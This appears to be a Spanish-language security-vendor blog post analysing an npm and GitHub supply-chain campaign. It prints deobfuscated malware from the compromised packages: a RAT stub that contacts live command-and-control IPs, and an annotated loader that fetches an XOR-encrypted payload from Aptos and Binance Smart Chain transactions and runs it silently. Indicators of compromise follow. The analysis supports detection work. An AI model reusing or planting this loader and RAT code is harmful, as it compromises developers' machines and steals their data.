Es posible que hayas visto la reciente noticia sobre un grupo de actores de amenazas que comprometió 16 paquetes populares relacionados con React Native Aria y GlueStack, que nosotros descubrimos y documentamos aquí. Anteriormente, detectamos que comprometieron el paquete rand-user-agent el 5 de mayo de 2025, según se informó aquí.
Hemos estado rastreando a este actor de amenazas desde entonces y hemos observado ataques menores que aún no hemos documentado completamente en público. Sin embargo, queríamos recopilarlos para ofrecer una imagen más amplia de su actividad.
Paquetes maliciosos iniciales
El 8 de mayo de 2025, nuestros sistemas ya nos habían alertado sobre dos nuevos paquetes en npm que parecían ser maliciosos. Son:


Ambos fueron subidos por el mismo usuario, aminengineerings, registrado con el correo electrónico aminengineerings@gmail[.]com. Desde las primeras versiones, ambos contenían la carga útil maliciosa, lo que indica que este paquete pertenece a los propios actores de amenazas.

Más paquetes maliciosos
También observamos dos paquetes adicionales publicados por el atacante después del ataque a gluestack. Los paquetes fueron lanzados el 8 de junio de 2025, bajo los nombres tailwindcss-animate-expand y mongoose-lit. mattfarser.
Específicamente, el paquete tailwindcss-animate-expand es digno de mención, ya que tiene una estructura de payload diferente. La primera parte se ve así:
global['r']=require;(function(){var Afr='',xzH=906-895;...Ya no vemos que la variable global[‘_V’] se esté configurando. Cuando ejecutamos esto en un sandbox, vemos que el payload final también es ligeramente diferente. El payload se ve así después de la desofuscación:
global._V = 'A4';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c('child_process');
const j = c('crypto');
const k = f.platform();
const l = k.startsWith("win");
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === 'undefined' ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, 'node_modules'));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A("axios");
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
"stdio": "inherit",
windowsHide: true
};
const W = {
"stdio": "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c("axios");
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...
Lo que es especialmente interesante es que vemos que la versión es A4, la cual fue referenciada en el ataque durante el fin de semana como una señal para usar el nuevo servidor C2.
También vemos que el servidor C2 “antiguo” ya no se menciona. En su lugar, han añadido la IP 166.88.4[.]2.
Señales de advertencia
Antes de este ataque, habíamos notado que algunos paquetes pequeños estaban siendo comprometidos. Aquí están los paquetes que detectamos:
Estos paquetes pertenecen a tres individuos diferentes y tienen menos de 100 descargas por semana. Parece que estos actores de amenazas son capaces de comprometer consistentemente los tokens de las cuentas de npm.
Repositorios de GitHub comprometidos
A medida que investigamos estos ataques más a fondo, decidimos examinar otros ecosistemas en busca de pruebas que pudieran proporcionar más información sobre cómo operan estos actores de amenazas. Pudimos detectar 19 repositorios en GitHub que los mismos actores de amenazas han comprometido:
Hay un par de commits que destacan en estos, un ejemplo es:

El actor de la amenaza ha modificado ligeramente el payload que utiliza. En este caso, han codificado en base64 un payload, que pasan a eval(). Aquí está el payload decodificado, anotado con comentarios que describen su funcionalidad.
/*****************************************************************************************
* Malware “loader” that hides its real payload on two block-chains. *
* Flow ⬇️ *
* 🥇 Step-1 Read pointer on Aptos *
* 🥈 Step-2 Use pointer on Binance Smart Chain (BSC) *
* 🥉 Step-3 Pull out hidden blob *
* 🗝️ Step-4 Decode & decrypt *
* 🚀 Step-5 Run it silently *
*****************************************************************************************/
/* ───────────────────────────── Bootstrap ───────────────────────────── */
global['r'] = require; // save `require` as global.r (little obfuscation)
(async () => {
/* quick aliases */
const c = global; // shorthand for `global`
const i = c['r']; // shorthand for `require`
/* 🛠 Helper 1: GET url → JSON */
async function e (url) {
return new Promise((resolve, reject) => {
i('https')
.get(url, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject)
.end();
});
}
/* 🛠 Helper 2: call BSC JSON-RPC */
async function o (method, params = []) {
return new Promise((resolve, reject) => {
const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
const opts = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };
const req = i('https')
.request(opts, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject);
req.write(payload);
req.end();
});
}
/* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
async function t (aptosAccount) {
/* 🥇 STEP-1 Read pointer on Aptos */
const latestTx = await e(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
);
const bscHash = latestTx[0].payload.arguments[0]; // pointer → BSC tx-hash
/* 🥈 STEP-2 Fetch BSC transaction carrying the payload */
const bscTx = await o('eth_getTransactionByHash', [bscHash]);
const hexBlob = bscTx.result.input.slice(2); // drop "0x"
/* 🥉 STEP-3 Pull out hidden blob (still unreadable) */
const rawText = Buffer.from(hexBlob, 'hex').toString('utf8');
const b64Chunk = rawText.split('..')[1]; // keep part after ".."
/* 🗝️ STEP-4 Decode & decrypt */
const encrypted = atob(b64Chunk); // Base-64 → binary string
const KEY = '$v$5;kmc$ldm*5SA';
let payload = '';
for (let j = 0; j < encrypted.length; j++) {
payload += String.fromCharCode(
encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
);
}
return payload; // plain-text JS to execute
}
/* 🚀 STEP-5 Run it silently in the background */
try {
const script = await t(
'0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
);
i('child_process')
.spawn(
'node',
['-e', `global['_V']='${c['_V'] || 0}';${script}`],
{ detached: true, stdio: 'ignore', windowsHide: true }
)
.on('error', () => { /* swallow child errors */ });
} catch (err) {
/* stay quiet on any failure */
}
})(); Este código es ingenioso, ya que se autoarranca parcialmente a partir del contenido de dos blockchains diferentes. Aquí tienes una descripción paso a paso:
La transacción en la Binance Smart Chain se puede encontrar a continuación. Cabe destacar que la cartera y el contrato existen desde el 7 de febrero de 2025:
https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Ejecutamos el código en un sandbox y obtuvimos el payload final, y era el mismo payload que ya habíamos documentado anteriormente sin cambios significativos.
Conclusiones
Observamos que el actor de la amenaza está comprometiendo activa y consistentemente no solo paquetes npm, sino también repositorios de GitHub. Además, han estado experimentando con el despliegue de sus propios paquetes con su RAT. También han comenzado a utilizar Blockchains como método para distribuir su código malicioso.
Indicadores de compromiso
Paquetes
solanautilweb3-socketiotailwindcss-animate-expandmongoose-lite@lfwfinance/sdk@lfwfinance/sdk-devalgorand-htlcavm-satoshi-dicebiatec-avm-gas-stationarc200-clientcputil-node
IPs
166.88.4[.]2136.0.9[.]8
Cuenta de Aptos
0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d
Dirección BSC
0x9BC1355344B54DEDf3E44296916eD15653844509
Contrato BSC
0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c
Protege tu software ahora.




